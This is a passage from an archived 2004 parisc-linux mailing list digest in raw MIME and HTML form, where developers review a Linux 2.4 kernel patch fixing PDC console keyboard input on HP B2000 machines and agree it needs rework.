reach to login with a</FONT>
<BR><FONT SIZE=3D2>ttyB0 after replacing ttyS0 in inittab and telinit q =
:) ) on a 32bit 2.4</FONT>
<BR><FONT SIZE=3D2>kernel on my b2k and a 64bit (up) [also 2.4] kernel =
on my N4k.</FONT>
</P>

<P><FONT SIZE=3D2>Here is its main part:</FONT>
<BR><FONT SIZE=3D2>diff -NaurX dontdiff =
linux-2.4.24-pa0.orig/arch/parisc/kernel/firmware.c</FONT>
<BR><FONT =
SIZE=3D2>linux-2.4.24-pa0/arch/parisc/kernel/firmware.c</FONT>
<BR><FONT SIZE=3D2>--- =
linux-2.4.24-pa0.orig/arch/parisc/kernel/firmware.c 2003-10-02 =
07:30:55.000000000</FONT>
<BR><FONT SIZE=3D2>+0200</FONT>
<BR><FONT SIZE=3D2>+++ =
linux-2.4.24-pa0/arch/parisc/kernel/firmware.c&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp; 2004-01-26 16:48:23.000000000</FONT>
<BR><FONT SIZE=3D2>+0100</FONT>
<BR><FONT SIZE=3D2>@@ -871,15 +937,21 @@</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int =
status;</FONT>
<BR><FONT SIZE=3D2>&nbsp;</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Bail =
if no console input device. */</FONT>
<BR><FONT SIZE=3D2>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if =
(!PAGE0-&gt;mem_kbd.iodc_io)</FONT>
<BR><FONT SIZE=3D2>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if =
((PAGE0-&gt;mem_cons.cl_class !=3D CL_DUPLEX) &amp;&amp; =
!PAGE0-&gt;mem_kbd.iodc_io)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* wait =
for a keyboard (rs232)-input */</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
spin_lock_irqsave(&amp;pdc_lock, flags);</FONT>
<BR><FONT SIZE=3D2>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
real32_call(PAGE0-&gt;mem_kbd.iodc_io,</FONT>
<BR><FONT SIZE=3D2>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; (unsigned =
long)PAGE0-&gt;mem_kbd.hpa, ENTRY_IO_CIN,</FONT>
<BR><FONT SIZE=3D2>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
PAGE0-&gt;mem_kbd.spa, __pa(PAGE0-&gt;mem_kbd.dp.layers), </FONT>
<BR><FONT SIZE=3D2>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
__pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);</FONT>
<BR><FONT SIZE=3D2>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if =
(PAGE0-&gt;mem_cons.cl_class =3D=3D CL_DUPLEX)</FONT>
<BR><FONT SIZE=3D2>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
real32_call(PAGE0-&gt;mem_cons.iodc_io,</FONT>
<BR><FONT SIZE=3D2>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; (unsigned =
long)PAGE0-&gt;mem_cons.hpa, ENTRY_IO_CIN,</FONT>
<BR><FONT SIZE=3D2>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
PAGE0-&gt;mem_cons.spa, __pa(PAGE0-&gt;mem_cons.dp.layers), </FONT>
<BR><FONT SIZE=3D2>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
__pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);</FONT>
<BR><FONT SIZE=3D2>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else</FONT>
<BR><FONT SIZE=3D2>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
real32_call(PAGE0-&gt;mem_kbd.iodc_io,</FONT>
<BR><FONT SIZE=3D2>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; (unsigned =
long)PAGE0-&gt;mem_kbd.hpa, ENTRY_IO_CIN,</FONT>
<BR><FONT SIZE=3D2>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
PAGE0-&gt;mem_kbd.spa, __pa(PAGE0-&gt;mem_kbd.dp.layers), </FONT>
<BR><FONT SIZE=3D2>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
__pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);</FONT>
<BR><FONT SIZE=3D2>&nbsp;</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ch =3D =
*iodc_dbuf;</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; status =
=3D *iodc_retbuf;</FONT>
<BR><FONT SIZE=3D2>diff -NaurX dontdiff =
linux-2.4.24-pa0.orig/arch/parisc/kernel/pdc_cons.c</FONT>
<BR><FONT =
SIZE=3D2>linux-2.4.24-pa0/arch/parisc/kernel/pdc_cons.c</FONT>
<BR><FONT SIZE=3D2>--- =
linux-2.4.24-pa0.orig/arch/parisc/kernel/pdc_cons.c 2004-01-19 =
07:25:46.000000000</FONT>
<BR><FONT SIZE=3D2>+0100</FONT>
<BR><FONT SIZE=3D2>+++ =
linux-2.4.24-pa0/arch/parisc/kernel/pdc_cons.c&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp; 2004-01-26 16:53:32.000000000</FONT>
<BR><FONT SIZE=3D2>+0100</FONT>
<BR><FONT SIZE=3D2>@@ -113,10 +112,6 @@</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
++pdc_console_initialized;</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* If the =
console is duplex then copy the COUT parameters to CIN. */</FONT>
<BR><FONT SIZE=3D2>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if =
(PAGE0-&gt;mem_cons.cl_class =3D=3D CL_DUPLEX)</FONT>
<BR><FONT SIZE=3D2>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
memcpy(&amp;PAGE0-&gt;mem_kbd, &amp;PAGE0-&gt;mem_cons, =
sizeof(PAGE0-&gt;mem_cons));</FONT>
<BR><FONT SIZE=3D2>-</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* =
register the pdc console */</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
register_console(&amp;pdc_cons);</FONT>
<BR><FONT SIZE=3D2>&nbsp;}</FONT>
<BR><FONT =
SIZE=3D2>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D&gt;&lt;=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D</FONT>
</P>

<P><FONT SIZE=3D2>Can somebody else could also test it on some other =
platform to be sure I</FONT>
<BR><FONT SIZE=3D2>don't broken other stuff?</FONT>
</P>

<P><FONT SIZE=3D2>Thanks in advance,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; Joel</FONT>
</P>

<P><FONT SIZE=3D2>PS: Grant I join the text file of the final backport =
of 2.6 work included</FONT>
<BR><FONT SIZE=3D2>this patch. Thanks in advance for your =
attention</FONT>
</P>

<P><FONT =
SIZE=3D2>---------------------------------------------------------------=
----------</FONT>
<BR><FONT SIZE=3D2>Tiscali ADSL: 12 mois =E0 29,50 &#8364;/mois! =
L'Internet rapide, c'est pour tout</FONT>
<BR><FONT SIZE=3D2>le monde.</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"http://reg.tiscali.be/default.asp?lg=3Dfr" =
TARGET=3D"_blank">http://reg.tiscali.be/default.asp?lg=3Dfr</A></FONT>
</P>
<BR>

<P><FONT SIZE=3D2>-------------- next part --------------</FONT>
<BR><FONT SIZE=3D2>A non-text attachment was scrubbed...</FONT>
<BR><FONT SIZE=3D2>Name: pdc_console-bp+patch.diff</FONT>
<BR><FONT SIZE=3D2>Type: application/octet-stream</FONT>
<BR><FONT SIZE=3D2>Size: 23324 bytes</FONT>
<BR><FONT SIZE=3D2>Desc: not available</FONT>
<BR><FONT SIZE=3D2>Url : <A =
HREF=3D"http://lists.parisc-linux.org/pipermail/parisc-linux/attachments=
/20040126/67438867/pdc_console-bppatch.obj" =
TARGET=3D"_blank">http://lists.parisc-linux.org/pipermail/parisc-linux/a=
ttachments/20040126/67438867/pdc_console-bppatch.obj</A></FONT>
</P>

<P><FONT SIZE=3D2>------------------------------</FONT>
</P>

<P><FONT =
SIZE=3D2>_______________________________________________</FONT>
<BR><FONT SIZE=3D2>parisc-linux mailing list</FONT>
<BR><FONT SIZE=3D2>parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"http://lists.parisc-linux.org/mailman/listinfo/parisc-linux" =
TARGET=3D"_blank">http://lists.parisc-linux.org/mailman/listinfo/parisc-=
linux</A></FONT>
</P>
<BR>

<P><FONT SIZE=3D2>End of parisc-linux Digest, Vol 2, Issue 32</FONT>
<BR><FONT SIZE=3D2>*******************************************</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_003_01C3E42E.16DEE200--


From - Thu Nov 08 21:30:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: parisc-linux-request@lists.parisc-linux.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc-linux Digest, Vol 2, Issue 33
Date: Mon, 26 Jan 2004 13:00:03 -0600
Lines: 547
Approved: news@gmane.org
Message-ID: <20040126190003.98EBB48E6@dsl2.external.hp.com>
Reply-To: parisc-linux@lists.parisc-linux.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_003_01C3E43E.A9554970"
X-Trace: ger.gmane.org 1416623152 4871 80.91.229.3 (22 Nov 2014 02:25:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: parisc-linux-request@lists.parisc-linux.org  Mon Jan 26 18:32:20 2004
Return-Path: <parisc-linux-request@lists.parisc-linux.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spam.carreker.com (unknown [65.221.249.208])
	by dsl2.external.hp.com (Postfix) with ESMTP id 015B6484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 18:32:20 -0700 (MST)
Original-Received: from localhost (dalvir04.carreker.com [127.0.0.1])
	by spam.carreker.com (Postfix) with ESMTP id 5D4512E81AF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 19:30:24 -0600 (CST)
Original-Received: from spam.carreker.com ([127.0.0.1])
	by localhost (dalvir04.carreker.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06978-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 19:30:23 -0600 (CST)
Original-Received: from pickup.carreker.com (unknown [172.21.1.23])
	by spam.carreker.com (Postfix) with ESMTP id 8E34C2E8424
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 18:54:47 -0600 (CST)
Original-Received: from mail pickup service by pickup.carreker.com with Microsoft
	SMTPSVC; Mon, 26 Jan 2004 18:58:03 -0600
X-OriginalArrivalTime: 27 Jan 2004 00:58:03.0251 (UTC)
	FILETIME=[9DDD6C30:01C3E470]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Jan 2004 01:32:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20708


------_=_NextPart_003_01C3E43E.A9554970
Content-Type: text/plain;
	charset="iso-8859-1"

Send parisc-linux mailing list submissions to
	parisc-linux@lists.parisc-linux.org

To subscribe or unsubscribe via the World Wide Web, visit
	http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
or, via email, send a message with subject or body 'help' to
	parisc-linux-request@lists.parisc-linux.org

You can reach the person managing the list at
	parisc-linux-owner@lists.parisc-linux.org

When replying, please edit your Subject line so it is more specific
than "Re: Contents of parisc-linux digest..."


Today's Topics:

   1. Re: A fix for B2k and CONFIG_PDC_CONSOLE pb (Matthew Wilcox)
   2. Re: A fix for B2k and CONFIG_PDC_CONSOLE pb (Joel Soete)
   3. Re: A fix for B2k and CONFIG_PDC_CONSOLE pb (Joel Soete)


----------------------------------------------------------------------

Message: 1
Date: Mon, 26 Jan 2004 17:25:05 +0000
From: Matthew Wilcox <willy@debian.org>
Subject: Re: [parisc-linux] A fix for B2k and CONFIG_PDC_CONSOLE pb
To: Joel Soete <soete.joel@tiscali.be>
Cc: Christoph Plattner <christoph.plattner@gmx.at>,	Grant Grundler
	<grundler@parisc-linux.org>,
parisc-linux@lists.parisc-linux.org
Message-ID: <20040126172505.GQ11844@parcelfarce.linux.theplanet.co.uk>
Content-Type: text/plain; charset=us-ascii

On Mon, Jan 26, 2004 at 06:00:53PM +0100, Joel Soete wrote:
>  
>  	/* Bail if no console input device. */
> -	if (!PAGE0->mem_kbd.iodc_io)
> +	if ((PAGE0->mem_cons.cl_class != CL_DUPLEX) &&
!PAGE0->mem_kbd.iodc_io)
>  		return 0;
>  	
>  	/* wait for a keyboard (rs232)-input */
>  	spin_lock_irqsave(&pdc_lock, flags);
> -	real32_call(PAGE0->mem_kbd.iodc_io,
> -		    (unsigned long)PAGE0->mem_kbd.hpa, ENTRY_IO_CIN,
> -		    PAGE0->mem_kbd.spa, __pa(PAGE0->mem_kbd.dp.layers), 
> -		    __pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);
> +	if (PAGE0->mem_cons.cl_class == CL_DUPLEX)

This doesn't make sense.  PAGE0->mem_cons.cl_class has to be CL_DUPLEX
otherwise the test above would have failed.  Do you perhaps mean that &&
above to be an || ?  If so, this would all read better as ...

	/* wait for a keyboard (rs232)-input */
	spin_lock_irqsave(&pdc_lock, flags);
	if (PAGE0->mem_cons.cl_class == CL_DUPLEX) {

		real32_call(PAGE0->mem_cons.iodc_io,
			    (unsigned long)PAGE0->mem_cons.hpa,
ENTRY_IO_CIN,
			    PAGE0->mem_cons.spa,
__pa(PAGE0->mem_cons.dp.layers), 
			    __pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1,
0);
	} else if (PAGE0->mem_kbd.iodc_io) {
		real32_call(PAGE0->mem_kbd.iodc_io,
			    (unsigned long)PAGE0->mem_kbd.hpa,
ENTRY_IO_CIN,
			    PAGE0->mem_kbd.spa,
__pa(PAGE0->mem_kbd.dp.layers), 
			    __pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1,
0);
	} else {
		spin_unlock_irqrestore(&pdc_lock, flags);
		return 0;
	}

Slightly ugly to have two unlocks for the same lock, but that's better
than duplicating the test.  I haven't looked at the code, maybe we could
use a goto instead.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and
refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


------------------------------

Message: 2
Date: Mon, 26 Jan 2004 19:20:26 +0100
From: "Joel Soete" <soete.joel@tiscali.be>
Subject: Re: [parisc-linux] A fix for B2k and CONFIG_PDC_CONSOLE pb
To: "Matthew Wilcox" <willy@debian.org>
Cc: Christoph Plattner <christoph.plattner@gmx.at>,	Grant Grundler
	<grundler@parisc-linux.org>,
parisc-linux@lists.parisc-linux.org
Message-ID: <40153110000001C0@ocpmta2.freegates.net>
Content-Type: text/plain; charset="ISO-8859-1"



> +	if ((PAGE0->mem_cons.cl_class != CL_DUPLEX) &&
!PAGE0->mem_kbd.iodc_io)
>  		return 0;
Right Matthew this case is nearly impossible (may be excepted if
disconected
the usb kbd during the boot), it would means that my pdc_console is not
a
serial one (ie graphic([01])) but no usb kdb found, so in that case pdc
would
switch console automaticaly to serial.

I would just still check the case when I have an usb kbd (I would have
to
recover one) but the pdc console is setup to serial port (eg no graphic
screen
available) just for an output screen without input kbd? 

Thanks for your attention and remarks,
    Joel


------------------------------------------------------------------------
-
Tiscali ADSL: 12 mois  29,50 EUR/mois! L'Internet rapide, c'est pour
tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




------------------------------

Message: 3
Date: Mon, 26 Jan 2004 19:38:50 +0100
From: "Joel Soete" <soete.joel@tiscali.be>
Subject: Re: [parisc-linux] A fix for B2k and CONFIG_PDC_CONSOLE pb
To: "Matthew Wilcox" <willy@debian.org>
Cc: Christoph Plattner <christoph.plattner@gmx.at>,	Grant Grundler
	<grundler@parisc-linux.org>,
parisc-linux@lists.parisc-linux.org
Message-ID: <4015311000000204@ocpmta2.freegates.net>
Content-Type: text/plain; charset="ISO-8859-1"

Sorry for auto reply, but I just find back the right kdb and:

>I would just still check the case when I have an usb kbd (I would have
to
>recover one) but the pdc console is setup to serial port (e
>no graphic screen available) just for an output screen without input
kbd?


That case is also impossible, the console setup as serial_1 (eg) is
always
CL_DUPLEX :(

I will so review my patch.

Thanks for all,
    Joel


------------------------------------------------------------------------
-
Tiscali ADSL: 12 mois  29,50 EUR/mois! L'Internet rapide, c'est pour
tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




------------------------------

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


End of parisc-linux Digest, Vol 2, Issue 33
*******************************************

------_=_NextPart_003_01C3E43E.A9554970
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>parisc-linux Digest, Vol 2, Issue 33</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Send parisc-linux mailing list submissions to</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>parisc-linux@lists.parisc-linux.org</FONT>
</P>

<P><FONT SIZE=3D2>To subscribe or unsubscribe via the World Wide Web, =
visit</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2><A =
HREF=3D"http://lists.parisc-linux.org/mailman/listinfo/parisc-linux" =
TARGET=3D"_blank">http://lists.parisc-linux.org/mailman/listinfo/parisc-=
linux</A></FONT>
<BR><FONT SIZE=3D2>or, via email, send a message with subject or body =
'help' to</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>parisc-linux-request@lists.parisc-linux.org</FONT>
</P>

<P><FONT SIZE=3D2>You can reach the person managing the list at</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>parisc-linux-owner@lists.parisc-linux.org</FONT>
</P>

<P><FONT SIZE=3D2>When replying, please edit your Subject line so it is =
more specific</FONT>
<BR><FONT SIZE=3D2>than &quot;Re: Contents of parisc-linux =
digest...&quot;</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Today's Topics:</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp; 1. Re: A fix for B2k and =
CONFIG_PDC_CONSOLE pb (Matthew Wilcox)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; 2. Re: A fix for B2k and =
CONFIG_PDC_CONSOLE pb (Joel Soete)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; 3. Re: A fix for B2k and =
CONFIG_PDC_CONSOLE pb (Joel Soete)</FONT>
</P>
<BR>

<P><FONT =
SIZE=3D2>---------------------------------------------------------------=
-------</FONT>
</P>

<P><FONT SIZE=3D2>Message: 1</FONT>
<BR><FONT SIZE=3D2>Date: Mon, 26 Jan 2004 17:25:05 +0000</FONT>
<BR><FONT SIZE=3D2>From: Matthew Wilcox &lt;willy@debian.org&gt;</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [parisc-linux] A fix for B2k and =
CONFIG_PDC_CONSOLE pb</FONT>
<BR><FONT SIZE=3D2>To: Joel Soete &lt;soete.joel@tiscali.be&gt;</FONT>
<BR><FONT SIZE=3D2>Cc: Christoph Plattner =
&lt;christoph.plattner@gmx.at&gt;,&nbsp;&nbsp;&nbsp;&nbsp; Grant =
Grundler</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>&lt;grundler@parisc-linux.org&gt;,&nbsp;&nbsp;&nbsp; =
parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2>Message-ID: =
&lt;20040126172505.GQ11844@parcelfarce.linux.theplanet.co.uk&gt;</FONT>
<BR><FONT SIZE=3D2>Content-Type: text/plain; charset=3Dus-ascii</FONT>
</P>

<P><FONT SIZE=3D2>On Mon, Jan 26, 2004 at 06:00:53PM +0100, Joel Soete =
wrote:</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; /* Bail if no =
console input device. */</FONT>
<BR><FONT SIZE=3D2>&gt; -&nbsp;&nbsp;&nbsp;&nbsp; if =
(!PAGE0-&gt;mem_kbd.iodc_io)</FONT>
<BR><FONT SIZE=3D2>&gt; +&nbsp;&nbsp;&nbsp;&nbsp; if =
((PAGE0-&gt;mem_cons.cl_class !=3D CL_DUPLEX) &amp;&amp; =
!PAGE0-&gt;mem_kbd.iodc_io)</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; /* wait for a =
keyboard (rs232)-input */</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; =
spin_lock_irqsave(&amp;pdc_lock, flags);</FONT>
<BR><FONT SIZE=3D2>&gt; -&nbsp;&nbsp;&nbsp;&nbsp; =
real32_call(PAGE0-&gt;mem_kbd.iodc_io,</FONT>
<BR><FONT SIZE=3D2>&gt; -&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; (unsigned =
long)PAGE0-&gt;mem_kbd.hpa, ENTRY_IO_CIN,</FONT>
<BR><FONT SIZE=3D2>&gt; -&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
PAGE0-&gt;mem_kbd.spa, __pa(PAGE0-&gt;mem_kbd.dp.layers), </FONT>
<BR><FONT SIZE=3D2>&gt; -&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
__pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);</FONT>
<BR><FONT SIZE=3D2>&gt; +&nbsp;&nbsp;&nbsp;&nbsp; if =
(PAGE0-&gt;mem_cons.cl_class =3D=3D CL_DUPLEX)</FONT>
</P>

<P><FONT SIZE=3D2>This doesn't make sense.&nbsp; =
PAGE0-&gt;mem_cons.cl_class has to be CL_DUPLEX</FONT>
<BR><FONT SIZE=3D2>otherwise the test above would have failed.&nbsp; Do =
you perhaps mean that &amp;&amp;</FONT>
<BR><FONT SIZE=3D2>above to be an || ?&nbsp; If so, this would all read =
better as ...</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>/* wait =
for a keyboard (rs232)-input */</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>spin_lock_irqsave(&amp;pdc_lock, flags);</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>if =
(PAGE0-&gt;mem_cons.cl_class =3D=3D CL_DUPLEX) {</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>real32_call(PAGE0-&gt;mem_cons.iodc_io,</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp; (unsigned long)PAGE0-&gt;mem_cons.hpa, =
ENTRY_IO_CIN,</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp; PAGE0-&gt;mem_cons.spa, =
